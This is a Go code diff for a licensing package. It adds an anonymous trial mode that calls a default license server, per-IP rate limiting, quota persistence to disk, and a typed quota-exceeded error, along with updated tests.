// anonymous trial (cap FreeMaxDevices, identified by source IP).
const DefaultLicenseServerURL = "https://web.just-do-it.icu:8080"
// DefaultOfflineGrace mirrors the "24 hours" decision recorded in the // DefaultOfflineGrace mirrors the "24 hours" decision recorded in the
// project memory's licensing design. // project memory's licensing design.
const DefaultOfflineGrace = 24 * time.Hour const DefaultOfflineGrace = 24 * time.Hour
@@ -28,6 +37,7 @@ type Mode int
const ( const (
ModeLocal Mode = iota ModeLocal Mode = iota
ModeRemote ModeRemote
ModeTrial // RemoteSigner against License Server, but with no Bearer (anonymous trial)
ModeNoOp ModeNoOp
) )
@@ -37,6 +47,8 @@ func (m Mode) String() string {
return "local" return "local"
case ModeRemote: case ModeRemote:
return "remote" return "remote"
case ModeTrial:
return "trial"
default: default:
return "noop" return "noop"
} }
@@ -48,16 +60,25 @@ func SelectedMode() Mode {
if os.Getenv(EnvSignPassword) != "" { if os.Getenv(EnvSignPassword) != "" {
return ModeLocal return ModeLocal
} }
if os.Getenv(EnvLicenseServer) != "" && os.Getenv(EnvLicenseToken) != "" { if strings.TrimSpace(os.Getenv(EnvLicenseDisabled)) == "1" {
return ModeNoOp
}
if os.Getenv(EnvLicenseToken) != "" {
return ModeRemote return ModeRemote
} }
return ModeNoOp return ModeTrial
} }
// NewFromEnv builds the Signer chosen by env vars: // NewFromEnv builds the Signer chosen by env vars. Decision tree (top-down,
// - YAMA_SIGN_PASSWORD set → LocalSigner // first match wins):
// - YAMA_LICENSE_SERVER + YAMA_LICENSE_TOKEN set → RemoteSigner //
// - neither → NoOpSigner // - YAMA_SIGN_PASSWORD set → LocalSigner (operator deployment)
// - YAMA_LICENSE_DISABLED=1 → NoOpSigner (explicit opt-out)
// - YAMA_LICENSE_TOKEN set → RemoteSigner / paid (server URL
// defaults to DefaultLicenseServerURL
// if YAMA_LICENSE_SERVER is unset)
// - neither of the above → RemoteSigner / trial (anonymous,
// cap = FreeMaxDevices, default URL)
// //
// If both LocalSigner and RemoteSigner vars are set, LocalSigner wins // If both LocalSigner and RemoteSigner vars are set, LocalSigner wins
// (an operator's own server should never accidentally call out to itself). // (an operator's own server should never accidentally call out to itself).
@@ -82,10 +103,23 @@ func NewFromEnv(lg Logger) (Signer, Mode, error) {
return s, ModeLocal, nil return s, ModeLocal, nil
} }
if server != "" && token != "" { // Explicit opt-out: operator wants the binary to run with no licensing
// at all (dev, offline test, air-gapped). Screen/file features stay off
// on the client, device list still works.
if strings.TrimSpace(os.Getenv(EnvLicenseDisabled)) == "1" {
return NewNoOp(), ModeNoOp, nil
}
// From here on we're going to talk to a License Server. Determine the
// URL (env var wins over baked-in default) and the mode (paid if token
// is set, anonymous trial if not).
if server == "" {
server = DefaultLicenseServerURL
}
if err := ValidateRemoteURL(server); err != nil { if err := ValidateRemoteURL(server); err != nil {
return nil, ModeNoOp, fmt.Errorf("%s rejected: %w", EnvLicenseServer, err) return nil, ModeNoOp, fmt.Errorf("%s rejected: %w", EnvLicenseServer, err)
} }
grace := DefaultOfflineGrace grace := DefaultOfflineGrace
if hrs := os.Getenv(EnvLicenseOfflineHrs); hrs != "" { if hrs := os.Getenv(EnvLicenseOfflineHrs); hrs != "" {
n, err := strconv.Atoi(strings.TrimSpace(hrs)) n, err := strconv.Atoi(strings.TrimSpace(hrs))
@@ -99,19 +133,13 @@ func NewFromEnv(lg Logger) (Signer, Mode, error) {
} }
grace = time.Duration(n) * time.Hour grace = time.Duration(n) * time.Hour
} }
if token != "" {
return NewRemote(server, token, grace, lg), ModeRemote, nil return NewRemote(server, token, grace, lg), ModeRemote, nil
} }
// Anonymous trial: no Bearer token. License Server identifies by IP and
if server != "" || token != "" { // caps at FreeMaxDevices.
// Partial config is almost certainly a misconfiguration — fail loudly return NewRemote(server, "", grace, lg), ModeTrial, nil
// rather than silently degrading to NoOp.
return nil, ModeNoOp, fmt.Errorf(
"%s and %s must be set together (got %s=%q %s=%q)",
EnvLicenseServer, EnvLicenseToken,
EnvLicenseServer, server, EnvLicenseToken, token)
}
return NewNoOp(), ModeNoOp, nil
} }
// LicenseServerFromEnv builds the License Server HTTP handler if (and only // LicenseServerFromEnv builds the License Server HTTP handler if (and only
@@ -150,5 +178,15 @@ func LicenseServerFromEnv(signer Signer, lg Logger) (*LicenseServer, string, err
// 5-minute eviction window — twice a typical heartbeat interval. Matches // 5-minute eviction window — twice a typical heartbeat interval. Matches
// the discussion in quota.go. // the discussion in quota.go.
return NewLicenseServer(local, pubKey, 5*time.Minute, lg), addr, nil ls := NewLicenseServer(local, pubKey, 5*time.Minute, lg, os.Getenv(EnvLicenseStatePath))
// Reuse the web's trust-proxy env var: standard deployment puts both
// /ws and /license/ behind the same nginx, so the answer is always the
// same. Honoring it here lets the anonymous-trial per-IP rate limit see
// the real client IP instead of 127.0.0.1.
if strings.TrimSpace(os.Getenv("YAMA_WEB_TRUST_PROXY")) == "1" {
ls.SetTrustProxy(true)
}
return ls, addr, nil
} }

View File

@@ -138,7 +138,7 @@ func TestLocalSignerDeterministic(t *testing.T) {
func TestRemoteSignerCacheHit(t *testing.T) { func TestRemoteSignerCacheHit(t *testing.T) {
priv := testKey(t) priv := testKey(t)
master := mustLocal(t, "real-hmac-key-for-test-xx") master := mustLocal(t, "real-hmac-key-for-test-xx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}) ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler()) ts := httptest.NewServer(ls.Handler())
defer ts.Close() defer ts.Close()
@@ -180,7 +180,7 @@ func TestRemoteSignerCacheHit(t *testing.T) {
func TestRemoteSignerStaleFallback(t *testing.T) { func TestRemoteSignerStaleFallback(t *testing.T) {
priv := testKey(t) priv := testKey(t)
master := mustLocal(t, "master-fallback-test-xxx") master := mustLocal(t, "master-fallback-test-xxx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}) ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler()) ts := httptest.NewServer(ls.Handler())
tok, err := Issue(priv, "cust-fallback", TierPaid, 5, time.Hour) tok, err := Issue(priv, "cust-fallback", TierPaid, 5, time.Hour)
@@ -214,7 +214,7 @@ func TestRemoteSignerStaleFallback(t *testing.T) {
func TestQuotaEnforcement(t *testing.T) { func TestQuotaEnforcement(t *testing.T) {
priv := testKey(t) priv := testKey(t)
master := mustLocal(t, "master-quota-test-xxxxxx") master := mustLocal(t, "master-quota-test-xxxxxx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}) ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler()) ts := httptest.NewServer(ls.Handler())
defer ts.Close() defer ts.Close()
@@ -253,23 +253,102 @@ func TestQuotaEnforcement(t *testing.T) {
} }
} }
// TestAuthRejectsMissingBearer: no token → 401, not 200 / not 500. Belt // TestAnonymousTrialSignsAndCaps: no Authorization header → anonymous trial
// and braces — the auth check sits in front of /sign and /heartbeat. // branch. /sign returns 200 with a real signature up to FreeMaxDevices, then
func TestAuthRejectsMissingBearer(t *testing.T) { // 403 once the per-IP cap is reached. Replaces the older "missing bearer
// 401" test now that anonymous trial is a first-class mode.
func TestAnonymousTrialSignsAndCaps(t *testing.T) {
priv := testKey(t) priv := testKey(t)
master := mustLocal(t, "master-auth-test-xxxxxxx") master := mustLocal(t, "master-trial-test-xxxxxx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}) ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler()) ts := httptest.NewServer(ls.Handler())
defer ts.Close() defer ts.Close()
body := strings.NewReader(`{"client_id":"x","start_time":"y"}`) call := func(clientID string) (int, string) {
body := strings.NewReader(fmt.Sprintf(
`{"client_id":%q,"start_time":"2026-01-01T00:00:00Z"}`, clientID))
resp, err := http.Post(ts.URL+"/license/sign", "application/json", body) resp, err := http.Post(ts.URL+"/license/sign", "application/json", body)
if err != nil { if err != nil {
t.Fatalf("Post: %v", err) t.Fatalf("Post: %v", err)
} }
defer resp.Body.Close() defer resp.Body.Close()
var sr signResponse
_ = json.NewDecoder(resp.Body).Decode(&sr)
if sr.Signature != "" {
return resp.StatusCode, sr.Signature
}
return resp.StatusCode, sr.Error
}
// First FreeMaxDevices distinct clientIDs get real signatures.
for i := range FreeMaxDevices {
code, sig := call(fmt.Sprintf("trial-dev-%d", i))
if code != http.StatusOK {
t.Errorf("dev-%d expected 200, got %d (%q)", i, code, sig)
}
if sig == "" {
t.Errorf("dev-%d signature unexpectedly empty", i)
}
}
// Cap+1 → 403 quota exceeded.
code, msg := call("trial-dev-overflow")
if code != http.StatusForbidden {
t.Errorf("overflow expected 403, got %d (%q)", code, msg)
}
}
// TestAnonymousTrialIPRateLimit: anonymous /sign is capped at
// anonRatePerWindow requests per minute per source IP. Hitting the cap
// returns 429 with Retry-After.
func TestAnonymousTrialIPRateLimit(t *testing.T) {
priv := testKey(t)
master := mustLocal(t, "master-rate-test-xxxxxxx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler())
defer ts.Close()
// Reuse the same clientID so quota does NOT also reject — we want to
// isolate the rate limiter. quotaTracker.Reserve treats a repeat clientID
// as a refresh (always accepted), so all the 200s here are the same slot.
hit := func() int {
body := strings.NewReader(`{"client_id":"rate-dev","start_time":"t"}`)
resp, err := http.Post(ts.URL+"/license/sign", "application/json", body)
if err != nil {
t.Fatalf("Post: %v", err)
}
resp.Body.Close()
return resp.StatusCode
}
for i := range anonRatePerWindow {
if code := hit(); code != http.StatusOK {
t.Fatalf("req %d expected 200, got %d", i, code)
}
}
if code := hit(); code != http.StatusTooManyRequests {
t.Errorf("expected 429 after %d requests, got %d", anonRatePerWindow, code)
}
}
// TestAuthRejectsBadBearer: invalid JWT still returns 401 (we did NOT widen
// the auth surface; only "no Authorization header at all" enters trial).
func TestAuthRejectsBadBearer(t *testing.T) {
priv := testKey(t)
master := mustLocal(t, "master-bad-bearer-xxxxxx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler())
defer ts.Close()
req, _ := http.NewRequest("POST", ts.URL+"/license/sign",
strings.NewReader(`{"client_id":"x","start_time":"y"}`))
req.Header.Set("Authorization", "Bearer not.a.real.jwt")
resp, err := http.DefaultClient.Do(req)
if err != nil {
t.Fatalf("Do: %v", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusUnauthorized { if resp.StatusCode != http.StatusUnauthorized {
t.Errorf("expected 401, got %d", resp.StatusCode) t.Errorf("expected 401 for malformed bearer, got %d", resp.StatusCode)
} }
} }
@@ -299,7 +378,7 @@ func TestRemoteSignerHardFailNoCacheReturnsError(t *testing.T) {
func TestHeartbeatRefreshOnly(t *testing.T) { func TestHeartbeatRefreshOnly(t *testing.T) {
priv := testKey(t) priv := testKey(t)
master := mustLocal(t, "master-hb-test-xxxxxxxxxx") master := mustLocal(t, "master-hb-test-xxxxxxxxxx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}) ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler()) ts := httptest.NewServer(ls.Handler())
defer ts.Close() defer ts.Close()
@@ -382,7 +461,7 @@ func TestHeartbeatRefreshOnly(t *testing.T) {
func TestQuotaRejectionDoesNotConsumeSlot(t *testing.T) { func TestQuotaRejectionDoesNotConsumeSlot(t *testing.T) {
priv := testKey(t) priv := testKey(t)
master := mustLocal(t, "master-no-leak-xxxxxxxxxxxx") master := mustLocal(t, "master-no-leak-xxxxxxxxxxxx")
ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}) ls := NewLicenseServer(master, &priv.PublicKey, time.Minute, silentLogger{}, "")
ts := httptest.NewServer(ls.Handler()) ts := httptest.NewServer(ls.Handler())
defer ts.Close() defer ts.Close()
@@ -518,3 +597,36 @@ func TestJWTAlgLockedToRS256(t *testing.T) {
t.Error("VerifyJWT accepted RS384; alg should be locked to RS256") t.Error("VerifyJWT accepted RS384; alg should be locked to RS256")
} }
} }
// TestQuotaTrackerPersistence: after a simulated restart (new tracker loaded
// from the file written by the first), previously-admitted devices re-occupy
// their slots and a new over-quota device is still rejected.
func TestQuotaTrackerPersistence(t *testing.T) {
path := t.TempDir() + "/quota.json"
// First "run": admit dev-1 and dev-2 up to cap=2.
q1 := newQuotaTracker(5 * time.Minute)
q1.statePath = path
if _, ok := q1.Reserve("sub", "dev-1", 2); !ok {
t.Fatal("dev-1 should be admitted")
}
if _, ok := q1.Reserve("sub", "dev-2", 2); !ok {
t.Fatal("dev-2 should be admitted")
}
// Simulate restart: new tracker loads the persisted file.
q2 := newQuotaTracker(5 * time.Minute)
q2.statePath = path
if err := q2.Load(); err != nil {
t.Fatalf("Load: %v", err)
}
// Restored tracker knows about dev-1 and dev-2: quota full.
if count, ok := q2.Reserve("sub", "dev-3", 2); ok {
t.Errorf("dev-3 should be rejected after restore, count=%d", count)
}
// Existing devices re-sign successfully (idempotent refresh).
if _, ok := q2.Reserve("sub", "dev-1", 2); !ok {
t.Error("dev-1 re-sign should succeed after restore")
}
}

View File

@@ -1,6 +1,8 @@
package licensing package licensing
import ( import (
"encoding/json"
"os"
"sync" "sync"
"time" "time"
) )
@@ -22,20 +24,31 @@ const (
TrialMaxDevices = 20 TrialMaxDevices = 20
) )
// persistedQuota is the on-disk snapshot format. V=1 is the current schema.
type persistedQuota struct {
V int `json:"v"` // schema version
Customers map[string][]string `json:"customers"` // sub → []clientID
}
// quotaTracker maintains the active-device set per customer. Customers are // quotaTracker maintains the active-device set per customer. Customers are
// identified by the JWT "sub" claim. The set is keyed by clientID (uint64 // identified by the JWT "sub" claim. The set is keyed by clientID (uint64
// from the device, stringified) — same device coming back through the // from the device, stringified) — same device coming back through the
// same License Server is one slot, not two. // same License Server is one slot, not two.
// //
// Eviction: any clientID not seen in /sign or /license/heartbeat within // Eviction: any clientID not seen in /sign or /license/heartbeat within
// the eviction window is silently dropped from the active set. This stops // the eviction window is silently dropped from the active set. Default
// a never-heartbeating customer from holding slots forever. Default // window is 5 minutes (twice the heartbeat interval).
// window is twice the heartbeat interval the customer reports at (5 min).
// //
// Empty customer entries are reaped at the end of each mutation so the // Persistence: when statePath is set, the sub→clientID map is written
// outer map doesn't accumulate sub claims of expired contracts. // atomically to disk on every structural change (device added or evicted).
// Load() restores the state on startup with fresh timestamps so a License
// Server restart does not open a quota-bypass window.
//
// Empty customer entries are reaped at the end of each mutation.
type quotaTracker struct { type quotaTracker struct {
evictAfter time.Duration evictAfter time.Duration
statePath string // "" = no persistence
log Logger // nil = silent
mu sync.Mutex mu sync.Mutex
customer map[string]*customerState // sub claim → state customer map[string]*customerState // sub claim → state
@@ -52,14 +65,105 @@ func newQuotaTracker(evictAfter time.Duration) *quotaTracker {
} }
} }
// evictLocked drops stale entries from st.devices. Caller must hold q.mu. // Load reads the persisted state from statePath and restores each clientID
func (q *quotaTracker) evictLocked(st *customerState) { // with timestamp time.Now() so restored devices survive the initial eviction
// window long enough to heartbeat or re-sign. A missing or corrupt file is
// silently ignored so the server starts cleanly on first run.
func (q *quotaTracker) Load() error {
if q.statePath == "" {
return nil
}
data, err := os.ReadFile(q.statePath)
if err != nil {
if os.IsNotExist(err) {
return nil
}
return err
}
var p persistedQuota
if err := json.Unmarshal(data, &p); err != nil {
if q.log != nil {
q.log.Warn("quota: corrupt state file %s (starting empty): %v", q.statePath, err)
}
return nil
}
q.mu.Lock()
defer q.mu.Unlock()
now := time.Now()
restored := 0
for sub, ids := range p.Customers {
if len(ids) == 0 {
continue
}
st := &customerState{devices: make(map[string]time.Time, len(ids))}
for _, cid := range ids {
st.devices[cid] = now
restored++
}
q.customer[sub] = st
}
if q.log != nil && restored > 0 {
q.log.Info("quota: restored %d device slot(s) from %s", restored, q.statePath)
}
return nil
}
// snapshotLocked returns a sub→[]clientID map of the current state.
// Caller must hold q.mu.
func (q *quotaTracker) snapshotLocked() map[string][]string {
out := make(map[string][]string, len(q.customer))
for sub, st := range q.customer {
if len(st.devices) == 0 {
continue
}
ids := make([]string, 0, len(st.devices))
for cid := range st.devices {
ids = append(ids, cid)
}
out[sub] = ids
}
return out
}
// save writes snap atomically (temp file + rename). No-op when statePath is
// empty or snap is nil.
func (q *quotaTracker) save(snap map[string][]string) {
if q.statePath == "" || snap == nil {
return
}
data, err := json.Marshal(persistedQuota{V: 1, Customers: snap})
if err != nil {
if q.log != nil {
q.log.Warn("quota: marshal state: %v", err)
}
return
}
tmp := q.statePath + ".tmp"
if err := os.WriteFile(tmp, data, 0600); err != nil {
if q.log != nil {
q.log.Warn("quota: write state to %s: %v", tmp, err)
}
return
}
if err := os.Rename(tmp, q.statePath); err != nil {
if q.log != nil {
q.log.Warn("quota: rename %s → %s: %v", tmp, q.statePath, err)
}
}
}
// evictLocked drops stale entries from st.devices. Returns the number removed.
// Caller must hold q.mu.
func (q *quotaTracker) evictLocked(st *customerState) int {
cutoff := time.Now().Add(-q.evictAfter) cutoff := time.Now().Add(-q.evictAfter)
removed := 0
for cid, last := range st.devices { for cid, last := range st.devices {
if last.Before(cutoff) { if last.Before(cutoff) {
delete(st.devices, cid) delete(st.devices, cid)
removed++
} }
} }
return removed
} }
// reapEmptyLocked deletes sub entries whose device sets are empty. This // reapEmptyLocked deletes sub entries whose device sets are empty. This
@@ -84,7 +188,6 @@ func (q *quotaTracker) reapEmptyLocked(sub string) {
// re-signing is never a quota violation — caps only apply to ADDING). // re-signing is never a quota violation — caps only apply to ADDING).
func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool) { func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool) {
q.mu.Lock() q.mu.Lock()
defer q.mu.Unlock()
st, ok := q.customer[sub] st, ok := q.customer[sub]
if !ok { if !ok {
@@ -92,21 +195,38 @@ func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool)
q.customer[sub] = st q.customer[sub] = st
} }
q.evictLocked(st) evicted := q.evictLocked(st)
if _, already := st.devices[clientID]; already { if _, already := st.devices[clientID]; already {
st.devices[clientID] = time.Now() st.devices[clientID] = time.Now()
return len(st.devices), true count := len(st.devices)
var snap map[string][]string
if evicted > 0 {
snap = q.snapshotLocked()
}
q.mu.Unlock()
q.save(snap)
return count, true
} }
if len(st.devices)+1 > maxDevices { if len(st.devices)+1 > maxDevices {
// Don't reap on rejection — the customer might be at exactly cap count := len(st.devices)
// with valid devices, and an empty map would lose info. var snap map[string][]string
return len(st.devices), false if evicted > 0 {
snap = q.snapshotLocked()
}
q.mu.Unlock()
q.save(snap)
return count, false
} }
// New device admitted: always persist so a restart sees this slot.
st.devices[clientID] = time.Now() st.devices[clientID] = time.Now()
return len(st.devices), true count := len(st.devices)
snap := q.snapshotLocked()
q.mu.Unlock()
q.save(snap)
return count, true
} }
// RefreshExisting bumps the last-activity timestamp for any clientID in // RefreshExisting bumps the last-activity timestamp for any clientID in
@@ -118,14 +238,14 @@ func (q *quotaTracker) Reserve(sub, clientID string, maxDevices int) (int, bool)
// known to us from a prior Reserve). // known to us from a prior Reserve).
func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int { func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
q.mu.Lock() q.mu.Lock()
defer q.mu.Unlock()
st, ok := q.customer[sub] st, ok := q.customer[sub]
if !ok { if !ok {
q.mu.Unlock()
return 0 return 0
} }
q.evictLocked(st) evicted := q.evictLocked(st)
now := time.Now() now := time.Now()
refreshed := 0 refreshed := 0
@@ -137,6 +257,13 @@ func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
} }
q.reapEmptyLocked(sub) // eviction may have emptied us q.reapEmptyLocked(sub) // eviction may have emptied us
var snap map[string][]string
if evicted > 0 {
snap = q.snapshotLocked()
}
q.mu.Unlock()
q.save(snap)
return refreshed return refreshed
} }
@@ -144,16 +271,25 @@ func (q *quotaTracker) RefreshExisting(sub string, clientIDs []string) int {
// /license/heartbeat to report the server-side view. // /license/heartbeat to report the server-side view.
func (q *quotaTracker) Snapshot(sub string) []string { func (q *quotaTracker) Snapshot(sub string) []string {
q.mu.Lock() q.mu.Lock()
defer q.mu.Unlock()
st, ok := q.customer[sub] st, ok := q.customer[sub]
if !ok { if !ok {
q.mu.Unlock()
return nil return nil
} }
q.evictLocked(st)
evicted := q.evictLocked(st)
out := make([]string, 0, len(st.devices)) out := make([]string, 0, len(st.devices))
for cid := range st.devices { for cid := range st.devices {
out = append(out, cid) out = append(out, cid)
} }
q.reapEmptyLocked(sub) q.reapEmptyLocked(sub)
var snap map[string][]string
if evicted > 0 {
snap = q.snapshotLocked()
}
q.mu.Unlock()
q.save(snap)
return out return out
} }

View File

@@ -16,6 +16,25 @@ import (
"golang.org/x/sync/singleflight" "golang.org/x/sync/singleflight"
) )
// QuotaExceededError is returned by Sign when the License Server explicitly
// rejects the device because the customer's slot quota is full. Unlike
// transient network errors, stale-cache fallback is NOT appropriate — the
// License Server's 403 decision is authoritative, and serving a stale
// signature would silently bypass the operator's cap.
type QuotaExceededError struct {
Message string // raw error field from the License Server JSON body
}
func (e *QuotaExceededError) Error() string { return e.Message }
// IsQuotaExceeded reports whether err is, or wraps, a QuotaExceededError.
// Callers (e.g. handleLogin in cmd/main.go) use this to decide whether to
// close the device connection server-side after sending a zeroed signature.
func IsQuotaExceeded(err error) bool {
var qe *QuotaExceededError
return errors.As(err, &qe)
}
// RemoteSigner fetches per-login signatures from an operator-hosted License // RemoteSigner fetches per-login signatures from an operator-hosted License
// Server. ServerURL and Token (a JWT issued offline by the operator) are // Server. ServerURL and Token (a JWT issued offline by the operator) are
// loaded from YAMA_LICENSE_SERVER / YAMA_LICENSE_TOKEN at startup. // loaded from YAMA_LICENSE_SERVER / YAMA_LICENSE_TOKEN at startup.
@@ -153,8 +172,17 @@ func (r *RemoteSigner) Sign(startTime, clientID string) (string, error) {
return sig, nil return sig, nil
} }
// Hard failure: fall back to stale cache if any. Better to keep an // Quota-exceeded is authoritative — skip stale-cache fallback entirely.
// existing device alive than fail closed during a transient outage. // Serving a cached signature here would bypass the operator's explicit cap
// decision; the caller (handleLogin) should close the connection instead.
if IsQuotaExceeded(err) {
r.logger.Error("RemoteSigner: quota exceeded for clientID=%s (%v); sending zeroed signature",
clientID, err)
return "", err
}
// Transient failure: fall back to stale cache if any. Better to keep an
// existing device alive than fail closed during a momentary outage.
r.mu.Lock() r.mu.Lock()
c, ok := r.cache[key] c, ok := r.cache[key]
r.mu.Unlock() r.mu.Unlock()
@@ -179,7 +207,9 @@ func (r *RemoteSigner) fetch(startTime, clientID string) (string, error) {
if err != nil { if err != nil {
return "", err return "", err
} }
if r.token != "" {
req.Header.Set("Authorization", "Bearer "+r.token) req.Header.Set("Authorization", "Bearer "+r.token)
}
req.Header.Set("Content-Type", "application/json") req.Header.Set("Content-Type", "application/json")
resp, err := r.httpClient.Do(req) resp, err := r.httpClient.Do(req)
@@ -194,7 +224,17 @@ func (r *RemoteSigner) fetch(startTime, clientID string) (string, error) {
} }
if resp.StatusCode != http.StatusOK { if resp.StatusCode != http.StatusOK {
// 401/403: token rejected — likely revoked or expired. // 403 with a JSON error body: quota exceeded — this is authoritative,
// not a transient failure. Return a typed error so Sign() can skip
// the stale-cache fallback and callers can close the connection.
if resp.StatusCode == http.StatusForbidden {
var sr signResponse
if jsonErr := json.Unmarshal(respBody, &sr); jsonErr == nil && sr.Error != "" {
return "", &QuotaExceededError{Message: sr.Error}
}
return "", &QuotaExceededError{Message: string(respBody)}
}
// 401 / 5xx: token rejected or server error — treat as transient.
return "", fmt.Errorf("License Server returned %d: %s", return "", fmt.Errorf("License Server returned %d: %s",
resp.StatusCode, string(respBody)) resp.StatusCode, string(respBody))
} }
@@ -265,7 +305,9 @@ func (r *RemoteSigner) sendHeartbeat() {
if err != nil { if err != nil {
return return
} }
if r.token != "" {
req.Header.Set("Authorization", "Bearer "+r.token) req.Header.Set("Authorization", "Bearer "+r.token)
}
req.Header.Set("Content-Type", "application/json") req.Header.Set("Content-Type", "application/json")
resp, err := r.httpClient.Do(req) resp, err := r.httpClient.Do(req)
@@ -280,7 +322,15 @@ func (r *RemoteSigner) sendHeartbeat() {
} }
} }
func (r *RemoteSigner) Mode() string { return "remote" } // Mode reports "trial" if this RemoteSigner has no JWT (anonymous
// downstream against the operator's License Server, capped at
// FreeMaxDevices), otherwise "remote" (paid customer with JWT).
func (r *RemoteSigner) Mode() string {
if r.token == "" {
return "trial"
}
return "remote"
}
func (r *RemoteSigner) Close() error { func (r *RemoteSigner) Close() error {
select { select {

View File

@@ -5,13 +5,36 @@ import (
"encoding/json" "encoding/json"
"errors" "errors"
"fmt" "fmt"
"net"
"net/http" "net/http"
"strings" "strings"
"sync"
"time" "time"
"github.com/golang-jwt/jwt/v5" "github.com/golang-jwt/jwt/v5"
) )
// Anonymous-trial rate limit: per-source-IP cap on /license/sign +
// /license/heartbeat requests without a Bearer token. Picked at "high enough
// for any legitimate single deployment, low enough to make brute-force /
// signature-probing pointless." Each /sign costs 1, /heartbeat 1, in a 60s
// sliding window. Authenticated requests skip this.
const (
anonRatePerWindow = 10
anonRateWindow = time.Minute
// anonReapInterval throws away stale buckets so the map doesn't grow
// unbounded across IP-cycling attackers. Walk the map every N requests.
anonReapEvery = 200
)
// Log-throttle cooldowns: downstream devices reconnect every few seconds when
// over-quota, so without throttling these two Warn lines flood the operator's
// log file. One log entry per cooldown window per unique key is enough signal.
const (
quotaWarnCooldown = 5 * time.Minute // per (sub, clientID) pair
rlWarnCooldown = anonRateWindow // per IP, matches the rate-limit window
)
// LicenseServer is the HTTP service the operator's LocalSigner exposes for // LicenseServer is the HTTP service the operator's LocalSigner exposes for
// RemoteSigner customer deployments. It uses the same LocalSigner instance // RemoteSigner customer deployments. It uses the same LocalSigner instance
// (same HMAC master key) to produce signatures so customers can issue // (same HMAC master key) to produce signatures so customers can issue
@@ -37,12 +60,32 @@ import (
// //
// Security: serve plain HTTP and put nginx / Caddy in front for TLS. JWT // Security: serve plain HTTP and put nginx / Caddy in front for TLS. JWT
// "alg" is locked to RS256 in token.go; "alg":"none" tampering is blocked. // "alg" is locked to RS256 in token.go; "alg":"none" tampering is blocked.
//
// Anonymous trial: requests without a Bearer token are treated as anonymous
// trial — the client's source IP is used as "sub" (key=`trial:<ip>`) and
// MaxDevices is capped at FreeMaxDevices. This is what lets a zero-config
// downstream binary "just work" for evaluation. Heavily rate-limited per IP
// to make brute-force / signature-probing pointless.
type LicenseServer struct { type LicenseServer struct {
signer *LocalSigner signer *LocalSigner
pubKey *rsa.PublicKey pubKey *rsa.PublicKey
tracker *quotaTracker tracker *quotaTracker
logger Logger logger Logger
mux *http.ServeMux mux *http.ServeMux
trustProxy bool // honor X-Forwarded-For / X-Real-IP — set only behind a trusted reverse proxy
anonMu sync.Mutex
anonBuckets map[string]*anonBucket // ip → bucket
anonReqSeen int // counter for periodic reap
warnMu sync.Mutex
lastWarn map[string]time.Time // dedup key → last log time
}
// anonBucket tracks anonymous request count within a sliding window.
type anonBucket struct {
count int
windowStart time.Time
} }
// Logger is the minimal logging interface we need. The cmd package's // Logger is the minimal logging interface we need. The cmd package's
@@ -57,19 +100,50 @@ type Logger interface {
// quiet device keeps its slot before its quota is reclaimed (recommend // quiet device keeps its slot before its quota is reclaimed (recommend
// 5 min — twice a typical heartbeat interval). // 5 min — twice a typical heartbeat interval).
func NewLicenseServer(signer *LocalSigner, pubKey *rsa.PublicKey, func NewLicenseServer(signer *LocalSigner, pubKey *rsa.PublicKey,
evictAfter time.Duration, lg Logger) *LicenseServer { evictAfter time.Duration, lg Logger, statePath string) *LicenseServer {
qt := newQuotaTracker(evictAfter)
qt.statePath = statePath
qt.log = lg
if err := qt.Load(); err != nil && lg != nil {
lg.Warn("License Server: failed to load quota state from %s: %v", statePath, err)
}
s := &LicenseServer{ s := &LicenseServer{
signer: signer, signer: signer,
pubKey: pubKey, pubKey: pubKey,
tracker: newQuotaTracker(evictAfter), tracker: qt,
logger: lg, logger: lg,
mux: http.NewServeMux(), mux: http.NewServeMux(),
anonBuckets: make(map[string]*anonBucket),
lastWarn: make(map[string]time.Time),
} }
s.mux.HandleFunc("/license/sign", s.handleSign) s.mux.HandleFunc("/license/sign", s.handleSign)
s.mux.HandleFunc("/license/heartbeat", s.handleHeartbeat) s.mux.HandleFunc("/license/heartbeat", s.handleHeartbeat)
return s return s
} }
// warnOnce emits a Warn log at most once per cooldown window for the given
// dedup key. Subsequent identical events within the window are silently
// dropped. This keeps high-frequency but expected conditions (quota exceeded,
// rate limit hit) from flooding the operator's log file while still providing
// one clear signal per event burst.
func (s *LicenseServer) warnOnce(key string, cooldown time.Duration, format string, args ...any) {
s.warnMu.Lock()
if t, ok := s.lastWarn[key]; ok && time.Since(t) < cooldown {
s.warnMu.Unlock()
return
}
s.lastWarn[key] = time.Now()
s.warnMu.Unlock()
s.logger.Warn(format, args...)
}
// SetTrustProxy switches IP extraction to X-Forwarded-For / X-Real-IP for
// the anonymous-trial branch. Only set this when running behind a reverse
// proxy you control (nginx / caddy / cloudflare); direct-exposure
// deployments MUST leave it false or attackers can spoof the header to
// evade the per-IP rate limit and the trial quota.
func (s *LicenseServer) SetTrustProxy(trust bool) { s.trustProxy = trust }
// Handler returns the http.Handler the operator wires into their HTTP // Handler returns the http.Handler the operator wires into their HTTP
